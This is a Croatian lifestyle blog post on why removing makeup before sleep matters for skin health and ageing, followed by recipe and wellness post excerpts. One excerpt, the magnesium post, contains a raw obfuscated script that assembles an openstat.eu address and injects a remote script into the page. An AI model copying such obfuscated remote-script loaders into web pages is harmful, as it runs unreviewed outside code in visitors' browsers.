ZAŠTO JE VAŽNO OBAVEZNO SKINUTI ŠMINKU PRIJE SPAVANJA?





Zašto je važno obavezno skinuti šminku prije spavanja?




Koliko ste puta zaspali sa šminkom na licu? Odgovor je vjerojatno – prečesto. Naime, redovito skidanje šminke prije spavanja jedna je od najvažnijih navika u njezi kože. Iako se ponekad čini primamljivo zaspati bez čišćenja lica, taj mali propust može imati velike posljedice na zdravlje i izgled kože.




Zašto je važno skinuti šminku prije spavanja?

Redovito skidanje šminke prije spavanja jednostavan je, ali iznimno važan korak koji čuva zdravlje, svježinu i mladolik izgled kože. Dosljedna večernja rutina sprečava brojne probleme i podupire prirodne procese obnavljanja kože tijekom noći. Prisutnost šminke i nečistoća može taj proces usporiti ili potpuno onemogućiti.

Prva prednost skidanja šminke prije spavanja je ta što se na taj način uklanjaju nečistoće nakupljene tijekom dana, a posljedično se sprječava začepljenje pora te smanjuje mogućnost stvaranja prištića i upala. Dodatno, čista koža lakše obnavlja stanice tijekom noći i bolje upija noćne kreme i serume. Ne treba zanemariti niti faktore koji utječu na zdravlje očiju i područja oko njih. Uklanjanjem šminke izbjegava se iritacija očiju i smanjuje rizik za upalu, a ujedno se sprječava lomljenje i ispadanje trepavica.




Uklanjanje šminke kao važan anti-age korak

Uklanjanje šminke navečer ima izravnu i važnu ulogu u očuvanju mladolikog izgleda kože. Kako? Šminka tijekom dana šminka “zarobi” čestice prašine, zagađenja i slobodnih radikala. Ako ostanu na koži preko noći, oni uzrokuju oksidativni stres, koji ubrzava oštećenje stanica i vodi prema bržem nastanku bora, gubitku elastičnosti te umornom i sivom tenu. 

Ovaj korak, također, sprječava razgradnju kolagena. Začepljene pore i upalni procesi izazvani nečistoćama potiču otpuštanje enzima koji razgrađuju kolagen, a on je ključan za čvrstoću, glatkoću i punoću kože. Uklanjanje šminke prije spavanja, dakle, nije samo higijenska rutina, već je i anti-age korak.



Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više